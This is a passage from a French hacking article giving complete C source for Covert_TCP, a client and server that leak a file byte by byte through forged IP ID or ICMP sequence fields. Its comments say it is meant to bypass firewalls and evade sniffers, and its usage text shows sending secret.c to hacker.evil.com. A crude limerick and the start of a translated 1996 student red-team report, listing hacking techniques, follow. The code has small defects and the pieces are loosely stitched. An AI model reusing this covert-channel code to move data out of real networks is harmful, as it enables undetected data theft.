    84	   send_icmp.ip.tos = 0;
    85	   send_icmp.ip.tot_len = htons(40);
    86	   send_icmp.ip.id = (int)(255.0*rand()/(RAND_MAX+1.0));
    87	   send_icmp.ip.frag_off = 0;
    88	   send_icmp.ip.ttl = 64; 
    89	   send_icmp.ip.protocol = IPPROTO_ICMP;
    90	   send_icmp.ip.check = 0;
    91	   send_icmp.ip.saddr = source_addr;
    92	   send_icmp.ip.daddr = dest_addr;
       
    93	   send_icmp.icmp.type = 8;
    94	   send_icmp.icmp.code = 0;
    95	   send_icmp.icmp.un.echo.id = 1000;
    96	   
    97	   send_icmp.icmp.un.echo.sequence = ch;
    98		
    99	   sin.sin_family = AF_INET;
   100	   sin.sin_addr.s_addr = send_icmp.ip.daddr;   
   101	   send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   102	   if(send_socket < 0)
   103	   {
   104	      perror("send socket cannot be open. Are you root?");
   105	      exit(1);
   106	   }
   107			
   108	      send_icmp.ip.check = in_cksum((unsigned short *)&send_icmp.ip, 20);
   109	      
   110	      send_icmp.icmp.checksum = 0;
   111	      send_icmp.icmp.checksum = in_cksum((unsigned short *)&send_icmp.icmp, sizeof(struct icmphdr));
   112	      
   113	      sendto(send_socket, &send_icmp, szpkt, 0, (struct sockaddr *)&sin, sizeof(sin));
   114	      printf("Sending Data: %c\n",ch);
   115	  close(send_socket);
   116	 } 
   117	fclose(input);
   118	} 
       
   119	unsigned int host_convert(char *hostname){
   120	   static struct in_addr i;
   121	   struct hostent *h;
   122	   i.s_addr = inet_addr(hostname);
   123	   if(i.s_addr == -1)
   124	   {
   125	      h = gethostbyname(hostname);
   126	      if(h == NULL)
   127	      {
   128	         fprintf(stderr, "cannot resolve %s\n", hostname);
   129	         exit(0);
   130	      }
   131	      bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
   132	   }
   133	   return i.s_addr;
   134	}
       
   135	unsigned short in_cksum(unsigned short *data, int taille)
   136	    {
   137	    unsigned long checksum=0;
   138	    // ********************************************************
   139	    // Complement a 1 de la somme des complément a 1 sur 16 bits
   140	    // ********************************************************
   141	    while(taille>1)
   142	        {
   143	        checksum=checksum+*data++;
   144	        taille=taille-sizeof(unsigned short);
   145	        }
   146	    if(taille)
   147	        checksum=checksum+*(unsigned char*)data;
   148	    checksum=(checksum>>16)+(checksum&0xffff);
   149	    checksum=checksum+(checksum>>16);
   150	    return (unsigned short)(~checksum);
   151	    }
       
   152	void usage(char *progname){
   153	      printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
   154	filename\n\n", 
   155	progname);
   156	      printf("-dest dest_ip      - Host to send data to.\n");
   157	      printf("-source source_ip  - Host where you want the data to originate \
   158	from.\n");
   159	      printf("-file filename     - Name of the file to encode and transfer.\n");
   160	      printf("\nPress ENTER for examples.");
   161	      getchar();
   162	      printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com -file secret.c\n\n");
   163	      printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
   164	      printf("at a time using the default ICMP packet Seq encoding.\n");
   165	      exit(0);
   166	}

server.h:
     1	#include <stdio.h>
     2	#include <stdlib.h>
     3	#include <signal.h>
     4	#include <string.h>
     5	#include <unistd.h>
     6	#include <netdb.h>
     7	#include <netinet/in.h>
     8	#include <sys/socket.h>
     9	#include <arpa/inet.h>
    10	#include <linux/ip.h>
    11	#include <linux/icmp.h>
       
    12	void forgepacket(unsigned int, unsigned int, char *);
    13						  
    14	unsigned int host_convert(char *);
    15	void usage(char *);

server.c:
     1	#include "server.h"
       
     2	int main(int argc, char *argv[]){
       
     3	   unsigned int source_host=0,dest_host=0;
     4	   int ipid=0,file=0;
     5	   int count;
     6	   char desthost[80],srchost[80],filename[80];
       
     7	   if(geteuid() !=0)
     8	    {
     9	    printf("\nYou need to be root to run this.\n\n");
    10	    exit(0);
    11	    }
       
    12	   if((argc < 5) || (argc > 13))
    13	   {
    14	   usage(argv[0]);
    15	   exit(0);
    16	   }

    17	   for(count=0; count < argc; ++count)
    18	    {
    19	    if (strcmp(argv[count],"-dest") == 0)
    20	     {
    21	     dest_host=host_convert(argv[count+1]); 
    22	     strncpy(desthost,argv[count+1],79);
    23	     }
    24	     
    25	    else if (strcmp(argv[count],"-source") == 0)
    26	     {
    27	     source_host=host_convert(argv[count+1]); 
    28	     strncpy(srchost,argv[count+1],79);
    29	     }
    30	    else if (strcmp(argv[count],"-file") == 0)
    31	     {
    32	     strncpy(filename,argv[count+1],79);
    33	     file=1;
    34	     }
    35	    }

    38	  
    39	   if(file != 1)
    40	    {
    41	    printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
    42	    exit(1);
    43	    }
    44	    
    45	     if(dest_host == 0) 
    46	      strcpy(desthost,"Any Host");
    47	     if(source_host == 0)
    48	      strcpy(srchost,"Any Host");
    49	     printf("Listening for data from IP: %s\n",srchost);
    50	     
    51	     printf("Decoded Filename: %s\n",filename);
    52	      printf("Decoding Type Is: ICMP Seq\n"); 
    53	     printf("\nServer Mode: Listening for data.\n\n");
    54	     forgepacket(source_host, dest_host, filename);
    55		  exit(0);
    56	}
       
    57	void forgepacket(unsigned int source_addr, unsigned int dest_addr, char *filename) {
    58	   struct recv_icmp
    59	   {
    60	      struct iphdr ip;
    61	      struct icmphdr icmp;
    62	   } recv_pkt;
    63	   
    64	   struct sockaddr_in sin;
    65	   
    66	   int recv_socket;
    67	   char *buf = (char *)malloc(2048*sizeof(char));
    68	   FILE *output;
    69	   
    70	   srand((getpid())*(sizeof(int))); 
    71	    if((output=fopen(filename,"wb"))== NULL) {
    72	  			printf("I cannot open the file %s for writing\n",filename);
    73	  			exit(1);
    74	  		}
    75	 while(1) 
    76	 {
    77	   recv_socket = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    78	   
    79	   if(recv_socket < 0)
    80	   {
    81	      perror("receive socket cannot be open. Are you root?");
    82	      exit(1);
    83	   }
    84	   
    85	 read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
    86	 
    87	   if((recv_pkt.icmp.type == 8) && (recv_pkt.icmp.code == 0)) {	   
    88	      printf("Receiving Data: %c\n",recv_pkt.icmp.un.echo.sequence);
    89	      fprintf(output,"%c",recv_pkt.icmp.un.echo.sequence);
    90	      fflush(output);
    91	   } 
    92	   close(recv_socket); 
    93	  }
    94	  fclose(output);
    95	}
       
    96	unsigned int host_convert(char *hostname)
    97	{
    98	   static struct in_addr i;
    99	   struct hostent *h;
   100	   i.s_addr = inet_addr(hostname);
   101	   if(i.s_addr == -1)
   102	   {
   103	      h = gethostbyname(hostname);
   104	      if(h == NULL)
   105	      {
   106	         fprintf(stderr, "cannot resolve %s\n", hostname);
   107	         exit(0);
   108	      }
   109	      bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
   110	   }
   111	   return i.s_addr;
   112	} 
       
   113	void usage(char *progname)
   114	{
   115	      printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file filename\n\n", 
   116	progname);
   117	      printf("-dest dest_ip      - Host to send data to.\n");
   118	      printf("-source source_ip  - Host data will be coming FROM.\n");
   119	      printf("-file filename     - Name of the file to encode and transfer.\n");
   120	      printf("\nPress ENTER for examples.");
   121	      getchar();
   122	      printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com -file secret.c\n\n");
   123	      printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
   124	      printf("at a time using the default IP packet ID encoding.\n");
   125	      exit(0);
   126	} 

Exemple: Protocole IP

client.h:
     1	#include <stdio.h>
     2	#include <stdlib.h>
     3	#include <signal.h>
     4	#include <string.h>
     5	#include <unistd.h>
     6	#include <netdb.h>
     7	#include <netinet/in.h>
     8	#include <sys/socket.h>
     9	#include <arpa/inet.h>
    10	#include <linux/ip.h>
    11	#include <linux/tcp.h>
       
    12	void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
    13						  int);
    14						  
    15	unsigned int host_convert(char *);
    16	unsigned short in_cksum(unsigned short *, int);
    17	void usage(char *);

client.c:
     1	/* Covert_TCP 1.0 - Covert channel file transfer for Linux
     2	* Written by Craig H. Rowland (crowland@psionic.com)
     3	* Copyright 1996 Craig H. Rowland (11-15-96)
     4	* NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
     5	* 
     6	*
     7	* This program manipulates the TCP/IP header to transfer a file one byte
     8	* at a time to a destination host. This progam can act as a server and a client
     9	* and can be used to conceal transmission of data inside the IP header. 
    10	* This is useful for bypassing firewalls from the inside, and for 
    11	* exporting data with innocuous looking packets that contain no data for 
    12	* sniffers to analyze. In other words, spy stuff... :)
    13	*
    14	* PLEASE see the enclosed paper for more information!!
    15	*
    16	* This software should be used at your own risk. 
    17	*
    18	* compile: cc -o covert_tcp covert_tcp.c
    19	*
    20	* 
    21	* Portions of this code based on ping.c (c) 1987 Regents of the 
    22	* University of California. (See function in_cksm() for details)
    23	*
    24	* Small portions from various packet utilities by unknown authors
    25	*/
       
    26	#include "client.h"
       
    27	int main(int argc, char *argv[]) {
    28	   unsigned int source_host=0,dest_host=0;
    29	   unsigned short source_port=0,dest_port=80;
    30	   int ipid=0,file=0;
    31	   int count;
    32	   char desthost[80],srchost[80],filename[80];
    33	   if(geteuid() !=0)
    34	    {
    35	    printf("\nYou need to be root to run this.\n\n");
    36	    exit(0);
    37	    }
    38	    
    39	   if((argc < 5) || (argc > 13))
    40	   {
    41	   usage(argv[0]);
    42	   exit(0);
    43	   }    
    44	   for(count=0; count < argc; ++count)
    45	    {
    46	    if (strcmp(argv[count],"-dest") == 0)
    47	     {
    48	     dest_host=host_convert(argv[count+1]); 
    49	     strncpy(desthost,argv[count+1],79);
    50	     }
    51	     
    52	    else if (strcmp(argv[count],"-source") == 0)
    53	     {
    54	     source_host=host_convert(argv[count+1]); 
    55	     strncpy(srchost,argv[count+1],79);
    56	     }
    57	    else if (strcmp(argv[count],"-file") == 0)
    58	     {
    59	     strncpy(filename,argv[count+1],79);
    60	     file=1;
    61	     }
    62	    else if (strcmp(argv[count],"-source_port") == 0)
    63	      source_port=atoi(argv[count+1]);
    64	    else if (strcmp(argv[count],"-dest_port") == 0)
    65	      dest_port=atoi(argv[count+1]);
    66	    }
    67	    ipid=1; 
    68	   if(file != 1)
    69	    {
    70	    printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
    71	    exit(1);
    72	    }
    73	     if (source_host == 0 && dest_host == 0)
    74	      {
    75	      printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
    76	      exit(1);
    77	      }
    78	     else
    79	      {
    80	      printf("Destination Host: %s\n",desthost);
    81	      printf("Source Host     : %s\n",srchost);
    82	       if(source_port == 0)
    83	        printf("Originating Port: random\n");
    84	       else
    85	        printf("Originating Port: %u\n",source_port);
    86	      printf("Destination Port: %u\n",dest_port);
    87	      printf("Encoded Filename: %s\n",filename);
    88	       printf("Encoding Type   : IP ID\n");
    89	       printf("\nClient Mode: Sending data.\n\n");
    90	      
    91	     }
    92	     
    93	     forgepacket(source_host, dest_host, source_port, dest_port,filename,ipid);
    94	     exit(0);
    95	}
       
    96	void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
    97	short source_port, unsigned short dest_port, char *filename, int ipid) {
    98	   struct send_tcp
    99	   {
   100	      struct iphdr ip;
   101	      struct tcphdr tcp;
   102	   } send_tcp;
   103	   struct pseudo_header
   104	   {
   105	      unsigned int source_address;
   106	      unsigned int dest_address;
   107	      unsigned char placeholder;
   108	      unsigned char protocol;
   109	      unsigned short tcp_length;
   110	      struct tcphdr tcp;
   111	   } pseudo_header
   112	   int ch;
   113	   int send_socket;
   114	   struct sockaddr_in sin;
   115	   FILE *input;
   116	   
   117		srand((getpid())*(dest_port)); 
   118		
   119		if((input=fopen(filename,"rb"))== NULL)
   120	 {
   121	 printf("I cannot open the file %s for reading\n",filename);
   122	 exit(1);
   123	 }
   124	else while((ch=fgetc(input)) !=EOF)
   125	 {
   126		sleep(1);
   127	   send_tcp.ip.ihl = 5;
   128	   send_tcp.ip.version = 4;
   129	   send_tcp.ip.tos = 0;
   130	   send_tcp.ip.tot_len = htons(40);
   131	   send_tcp.ip.id =ch;
   133	   send_tcp.ip.frag_off = 0;
   134	   send_tcp.ip.ttl = 64; 
   135	   send_tcp.ip.protocol = IPPROTO_TCP;
   136	   send_tcp.ip.check = 0;
   137	   send_tcp.ip.saddr = source_addr;
   138	   send_tcp.ip.daddr = dest_addr;
       
   139	if(source_port == 0) 
   140	   send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
       
   141	else 
   142	   send_tcp.tcp.source = htons(source_port);
   143	   send_tcp.tcp.seq = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
   144	   send_tcp.tcp.dest = htons(dest_port);
   145	   send_tcp.tcp.ack_seq = 0;
   146	   send_tcp.tcp.res1 = 0;
   147	   send_tcp.tcp.doff = 5;
   148	   send_tcp.tcp.fin = 0;
   149	   send_tcp.tcp.syn = 1;
   150	   send_tcp.tcp.rst = 0;
   151	   send_tcp.tcp.psh = 0;
   152	   send_tcp.tcp.ack = 0;
   153	   send_tcp.tcp.urg = 0;
   154	   send_tcp.tcp.ece = 0;
   155	   send_tcp.tcp.window = htons(512);
   156	   send_tcp.tcp.check = 0;
   157	   send_tcp.tcp.urg_ptr = 0;
       
   158	   sin.sin_family = AF_INET;
   159	   sin.sin_port = send_tcp.tcp.source;
   160	   sin.sin_addr.s_addr = send_tcp.ip.daddr;   
       
   161	   send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   162	   if(send_socket < 0)
   163	   {
   164	      perror("send socket cannot be open. Are you root?");
   165	      exit(1);
   166	   }
       
   167	      send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
   168	      
   169	      pseudo_header.source_address = send_tcp.ip.saddr;
   170	      pseudo_header.dest_address = send_tcp.ip.daddr;
   171	      pseudo_header.placeholder = 0;
   172	      pseudo_header.protocol = IPPROTO_TCP;
   173	      pseudo_header.tcp_length = htons(20);
       
   174	      bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);
       
   175	      send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
       
   176	      sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
   177	      printf("Sending Data: %c\n",ch);
       
   178	  close(send_socket);
   179	 } 
       
   180	fclose(input);
   181	} 
       
   182	unsigned int host_convert(char *hostname){
   183	   static struct in_addr i;
   184	   struct hostent *h;
   185	   i.s_addr = inet_addr(hostname);
   186	   if(i.s_addr == -1)
   187	   {
   188	      h = gethostbyname(hostname);
   189	      if(h == NULL)
   190	      {
   191	         fprintf(stderr, "cannot resolve %s\n", hostname);
   192	         exit(0);
   193	      }
   194	      bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
   195	   }
   196	   return i.s_addr;
   197	}
       
   198	unsigned short in_cksum(unsigned short *ptr, int nbytes){
   199	        register long           sum;            /* assumes long == 32 bits 
   200	*/
   201	        u_short                 oddbyte;
   202	        register u_short        answer;         /* assumes u_short == 16 bits */
       
   203	        /*
   204	         * Our algorithm is simple, using a 32-bit accumulator (sum),
   205	         * we add sequential 16-bit words to it, and at the end, fold back
   206	         * all the carry bits from the top 16 bits into the lower 16 bits.
   207	         */
       
   208	        sum = 0;
   209	        while (nbytes > 1)  {
   210	                sum += *ptr++;
   211	                nbytes -= 2;
   212	        }
       
   213	                                /* mop up an odd byte, if necessary */
   214	        if (nbytes == 1) {
   215	                oddbyte = 0;            /* make sure top half is zero */
   216	                *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
   217	                sum += oddbyte;
   218	        }
       
   219	        /*
   220	         * Add back carry outs from top 16 bits to low 16 bits.
   221	         */
       
   222	        sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
   223	        sum += (sum >> 16);                     /* add carry */
   224	        answer = ~sum;          /* ones-complement, then truncate to 16 bits 
   225	*/
   226	        return(answer);
   227	}
       
       
   228	void usage(char *progname){
   229	      printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
   230	filename\n\n", 
   231	progname);
   232	      printf("-dest dest_ip      - Host to send data to.\n");
   233	      printf("-source source_ip  - Host where you want the data to originate \
   234	from.\n");
   235	      printf("-source_port port  - IP source port you want data to appear from. \n");
   236	      printf("                     (randomly set by default)\n");
   237	      printf("-dest_port port    - IP source port you want data to go to. In\n");
   238	      printf("                     SERVER mode this is the port data will be coming\n");
   239	      printf("                     inbound on. Port 80 by default.\n");
   240	      printf("-file filename     - Name of the file to encode and transfer.\n");
   241	      printf("\nPress ENTER for examples.");
   242	      getchar();
   243	      printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com \
   244	      -file secret.c\n\n");
   245	      printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
   246	      printf("at a time using the default IP ID packet encoding.\n");
   247	      exit(0);
   248	}

server.h:
     1	#include <stdio.h>
     2	#include <stdlib.h>
     3	#include <signal.h>
     4	#include <string.h>
     5	#include <unistd.h>
     6	#include <netdb.h>
     7	#include <netinet/in.h>
     8	#include <sys/socket.h>
     9	#include <arpa/inet.h>
    10	#include <linux/ip.h>
    11	#include <linux/tcp.h>
       
    12	void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
    13						  int);
    14						  
    15	unsigned int host_convert(char *);
    16	void usage(char *);

server.c:
     1	/* Covert_TCP 1.0 - Covert channel file transfer for Linux
     2	* Written by Craig H. Rowland (crowland@psionic.com)
     3	* Copyright 1996 Craig H. Rowland (11-15-96)
     4	* NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
     5	* 
     6	*
     7	* This program manipulates the TCP/IP header to transfer a file one byte
     8	* at a time to a destination host. This progam can act as a server and a client
     9	* and can be used to conceal transmission of data inside the IP header. 
    10	* This is useful for bypassing firewalls from the inside, and for 
    11	* exporting data with innocuous looking packets that contain no data for 
    12	* sniffers to analyze. In other words, spy stuff... :)
    13	*
    14	* PLEASE see the enclosed paper for more information!!
    15	*
    16	* This software should be used at your own risk. 
    17	*
    18	* compile: cc -o covert_tcp covert_tcp.c
    19	*
    20	* 
    21	* Portions of this code based on ping.c (c) 1987 Regents of the 
    22	* University of California. (See function in_cksm() for details)
    23	*
    24	* Small portions from various packet utilities by unknown authors
    25	*/
       
    26	#include "server.h"
    27	int main(int argc, char *argv[]){
    28	   unsigned int source_host=0,dest_host=0;
    29	   unsigned short source_port=0,dest_port=80;
    30	   int ipid=0,file=0;
    31	   int count;
    32	   char desthost[80],srchost[80],filename[80];
    33	   if(geteuid() !=0)
    34	    {
    35	    printf("\nYou need to be root to run this.\n\n");
    36	    exit(0);
    37	    }
    38	   if((argc < 5) || (argc > 13))
    39	   {
    40	   usage(argv[0]);
    41	   exit(0);
    42	   }
    43	   for(count=0; count < argc; ++count)
    44	    {
    45	    if (strcmp(argv[count],"-dest") == 0)
    46	     {
    47	     dest_host=host_convert(argv[count+1]); 
    48	     strncpy(desthost,argv[count+1],79);
    49	     }
    50	     
    51	    else if (strcmp(argv[count],"-source") == 0)
    52	     {
    53	     source_host=host_convert(argv[count+1]); 
    54	     strncpy(srchost,argv[count+1],79);
    55	     }
    56	    else if (strcmp(argv[count],"-file") == 0)
    57	     {
    58	     strncpy(filename,argv[count+1],79);
    59	     file=1;
    60	     }
    61	    else if (strcmp(argv[count],"-source_port") == 0)
    62	      source_port=atoi(argv[count+1]);
    63	    else if (strcmp(argv[count],"-dest_port") == 0)
    64	      dest_port=atoi(argv[count+1]);
    65	    }
    66	   /* check the encoding flags */
    67	    ipid=1; /* set default encode type if none given */
    68	  
    69	   if(file != 1)
    70	    {
    71	    printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
    72	    exit(1);
    73	    }
    74	    
    75	    if (source_host == 0 && source_port == 0)
    76	      {
    77	      printf("You need to supply a source address and/or source port for server mode.\n");
    78	      exit(1);
    79	      }
    80	     if(dest_host == 0) 
    81	      strcpy(desthost,"Any Host");
    82	     if(source_host == 0)
    83	      strcpy(srchost,"Any Host");
    84	     printf("Listening for data from IP: %s\n",srchost);
    85	     
    86	     if(source_port == 0)
    87	      printf("Listening for data bound for local port: Any Port\n");
    88	     else
    89	      printf("Listening for data bound for local port: %u\n",source_port);
    90	     printf("Decoded Filename: %s\n",filename);
    91	      printf("Decoding Type Is: IP packet ID\n");
    92	     printf("\nServer Mode: Listening for data.\n\n");
    93	     forgepacket(source_host, dest_host, source_port, dest_port,filename,ipid);
    94		  exit(0);
    95	}
       
    96	void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
    97	short source_port, unsigned short dest_port, char *filename, int ipid ) {
    98	   struct recv_tcp
    99	   {
   100	      struct iphdr ip;
   101	      struct tcphdr tcp;
   102	      char buffer[10000];
   103	   } recv_pkt;
   104	   int recv_socket;
   105	   FILE *output;
   106	   
   107	   srand((getpid())*(dest_port)); 
   108	   
   109	    if((output=fopen(filename,"wb"))== NULL)
   110	  {
   111	  printf("I cannot open the file %s for writing\n",filename);
   112	  exit(1);
   113	  }
   114	 while(1) 
   115	 {
       
   116	   recv_socket = socket(AF_INET, SOCK_RAW, 6);
   117	   
   118	   if(recv_socket < 0)
   119	   {
   120	      perror("receive socket cannot be open. Are you root?");
   121	      exit(1);
   122	   }
   123	  read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
   124	        if (source_port == 0) 
   125	        {       
   126	                if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr == source_addr)) 
   127	                {
   128	                       
   129	                        printf("Receiving Data: %c\n",recv_pkt.ip.id);
   130	                        fprintf(output,"%c",recv_pkt.ip.id);
   131	                        fflush(output);
   132	                } 
   133	        } 
   134	        else
   135	        {
   136	                if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) == source_port)) 
   137	                {
   138	                       printf("Receiving Data: %c\n",recv_pkt.ip.id);
   139	                       fprintf(output,"%c",recv_pkt.ip.id);
   140	                       fflush(output);
   141	                } 
   142	        } 
   143	   close(recv_socket); 
   144	  }
   145	  fclose(output);
   146	}
       
   147	unsigned int host_convert(char *hostname)
   148	{
   149	   static struct in_addr i;
   150	   struct hostent *h;
   151	   i.s_addr = inet_addr(hostname);
   152	   if(i.s_addr == -1)
   153	   {
   154	      h = gethostbyname(hostname);
   155	      if(h == NULL)
   156	      {
   157	         fprintf(stderr, "cannot resolve %s\n", hostname);
   158	         exit(0);
   159	      }
   160	      bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
   161	   }
   162	   return i.s_addr;
   163	} 
       
   164	void usage(char *progname)
   165	{
   166	      printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
   167	filename -source_port port -dest_port port\n\n", 
   168	progname);
   169	      printf("-dest dest_ip      - Host to send data to.\n");
   170	      printf("-source source_ip  - Host data will be coming FROM.\n");
   171	      printf("-source_port port  - IP source port you want data to appear from. \n");
   172	      printf("                     (randomly set by default)\n");
   173	      printf("-dest_port port    - IP source port you want data to go to. In\n");
   174	      printf("                     SERVER mode this is the port data will be coming\n");
   175	      printf("                     inbound on. Port 80 by default.\n");
   176	      printf("-file filename     - Name of the file to encode and transfer.\n");
   177	      printf("\nPress ENTER for examples.");
   178	      getchar();
   179	      printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com - \
   180	source_port 1234 -dest_port 80 -file secret.c\n\n");
   181	      printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
   182	      printf("at a time using the default IP packet ID encoding.\n");
   183	      exit(0);
   184	} 
       

Outils

Conclusion

Les covert channel sont connus par les hackers depuis un moment déjà : le premier programme rendu publique utilisant un covert channel était Loki sorti en 1996. Mais ces techniques datent de bien avant la sortie de cet outil. Et pourtant, ce thème reste toujours d'actualité et le restera surement pendant un bon moment, à l'inverse il évoluera de plus en plus, sachant que de plus en plus de protocoles de très haut niveau (au dessus de HTTP, IRC...) se développent.
J'espère vous avoir éclairer avec cet article sur les covert channel. Ne connaissant aucun autre article en français sur le sujet je me suis dit "pourquoi pas" :).
[NPN: pour compiler les code source fournis dans cet article:
gcc -o client client.c
il est impossible de mettre nos données n'importe où dans le header des paquets sinon ceux-ci risquent de ne pas respecter la RFC et donc de ne pas être transmis.]

Remerciements: zul et x-faktor qui m'ont bien aider (des fois sans même s'en rendre compte :)).
Un petit coucou à tous les gens que j'ai croiser depuis que je m'intéresse au hack/sécurité : Subfr.org, Securi-Corp, CNC (lol), Degenere-Science.

Flyers.
"Tu imagines si tu étais le roi du monde tout en vivant dans les déchets ? Ce serait une façon de mépriser la société qui te rejètes mais que tu commandes."  Kes

 Note pour la traduction : C'est vrai que ce document date de 8 ans ^_^ mais le principe de cette simulation de piratage est intéressant. De plus ce rapport nous montre l'état de la sécurité informatique à l'époque (quasi inexistante) et donc on se rend mieux compte de l'évolution qui a été faite depuis dans ce domaine.

sirius@lotfree:~> fortune limerick
There once was a young girl from Natches
Who chanced to be born with two snatches
        She often said, "Shit!
        I'd give either tit
For a guy with equipment that matches."

Bonne lecture ;)

Compte Rendu Final

Sécurité Réseau Avancée

CPSC689 - Été 96

Instructeur : Dr. Udo. W. Pooch

Rédigé par

L'équipe Black2

Ajay Kumar Gummmadi

Eric Daniel

Faisal Karim

Ikram Ahmed Khan

Ralph Akram Gholmieh

Raul Gonzalez Barron

Rehan Ayyub Sheikh

A. Sommaire

B. Résumé

C. Introduction

D. Techniques de Hacking
D.1. Social Engineering (eavsdropping)
D.2. Les vieux Bugs en grand partie patchés
D.3. Mauvaise configuration de la table de montage
D.4. CERT advisory CA-96.10
D.5. Cassage des mots de passe
D.6. Le syndrome récurent des fichiers temporaires, les exploits Kcms/Admintool
   D.6.1 Description
   D.6.2 La vulnérabilité KCMS
   D.6.3 La vulnérabilité Admintool
   D.6.4 Conclusion
D.7. Envoyer de faux paquets et scanner les ports UDP, le premier essai de « déni de service »
D.8. Le protocole ICMP, le programme nuke
D.9. Effacer nos traces

E. Exploitation de nos Outils de Hacking, leurs Attaques et leurs Résultats
E.1. Exploitation des répertoire Home partagés
E.2. Accès root sur Gold1 et Gold2 grâce à l'exploit NIS
E.3. Exploitation de la vulnérabilité Kcms
E.4. Forcer le système à redémarrer en utilisant le programme nuke
E.5. Le combat avec l'équipe Black4

F. Outils de Scanning
F.1. COPS
F.2. SATAN

G. Conclusion

H. Suggestions pour la prochaine version du cours

I. Annexes
I.1. Scripts & Philez
I.2. Références

2. Résumé

'Sécurité Réseau Avancée' est un thème de cours spécial dispensé au département Sciences Informatiques de l'Université A&M du Texas. Le cours dont la référence est CPSC - 689 est généralement donné durant le semestre d'été. Le cours a une orientation pratique.

La classe a été divisée de telle façon qu'il y ait une équipe Gold (les gentils) alias les Administrateurs Système et quatre équipes Black (les méchants) alias les hackers. Chaque équipe était composée de 6 à 7 membres. Il y avait aussi un comité consultatif ainsi que des arbitres. Le comité consultatif se composait des actuels administrateurs système du département des Sciences Informatiques. Les arbitres étaient le Dr. Udo W. Pooch et M. Willis Marti.

Les équipes ont pu s'affronter sur un réseau qui se composait de deux machines gold (gold 1 était le serveur et nous devions pirater gold 2) ainsi que quatre machines black (chacune appartenant à une équipe black). Un routeur Cisco reliait les machines gold aux machines black. Ce réseau était surveillé par le département des Sciences Informatiques par le biais d'une machine nommée Kennel. Chaque équipe devait d'abord se connecter à Kennel et ensuite à sa machine respective ou à n'importe quelle machine à laquelle elle avait accès. Tous les utilisateurs disposaient d'un compte sur la machine Gold2.

Tous les Jeudi, chaque équipe rencontrait le comité consultatif pendant 20 minutes pour faire un rapport de ses derniers hacks.

Nous sommes convaincu que ce cours devrait continuer à être enseigné par le département des Sciences Informatiques. Ce fut une expérience d'apprentissage très intéressante pour chacun de nous à l'équipe black2.

3. Introduction

Ce compte rendu rapporte toutes les informations obtenues durant nos exercices de 'Hacking' en tant qu'équipe 'Black 2', une des quatre équipe black.

Ce rapport inclus les techniques de hacking que nous avons appris, les attaques durant lesquelles nous les avons utilisées, ainsi que des suggestions pour les futures versions de ce cours.

Lors du déroulement de ce cours, nous avons trouvé sur Internet différents sites d'intérêt pour le cours, leur URLs se trouvent dans la section référence de ce document.

Nous nous sommes inscrit aux listes de diffusions suivantes : Best of Security, Bugtraq, Firewalls, et ssh. Elles se sont révélées être d'excellentes sources d'information. Lire ces listes de diffusion, plus que n'importe quoi d'autre, nous a fait découvrir les aspects techniques des problèmes de sécurité.

L'équipe Black 2 a travaillé comme une unité. Nous avons pu faire un usage efficace de nos efforts en organisant des réunions régulières tous les trois à quatre jours, où nous discutions des stratégies utilisées, et où nous décidions des nouvelles stratégies à mettre en pratique ou à tester. La charge de travail fut gérée et répartie en conséquence.

L'Administration Système est une rude besogne mais en même temps on peut apprécier cela, jouer et apprendre quelles sont les particularités du système. La majorité des membres avait peu de connaissances antérieures sur le sujet, et donc, il nous a fallut beaucoup de temps et d'effort pour explorer le système.

Tout dans ce cours a été une excellente base d'apprentissage pour les futurs Administrateurs Système qui ont pu avoir un aperçu de ce que peuvent faire les méchants pour pénétrer dans un système. Le côté pratique de ce cours apporte beaucoup d'enthousiasme et nous incite à pratiquer et apprendre d'avantage.

Nous espérons que le lecteur appréciera ce compte rendu.

4. Techniques de Hacking

Cette section décrit les techniques et les outils auxquels nous avons eu recours pour nos attaques de hacking. C'est une description purement technique des techniques d'attaques que nous avons utilisées. Les résultats tout comme les descriptions de ces techniques peut être trouvées dans la section E.

1. Social Engineering (eavsdropping)

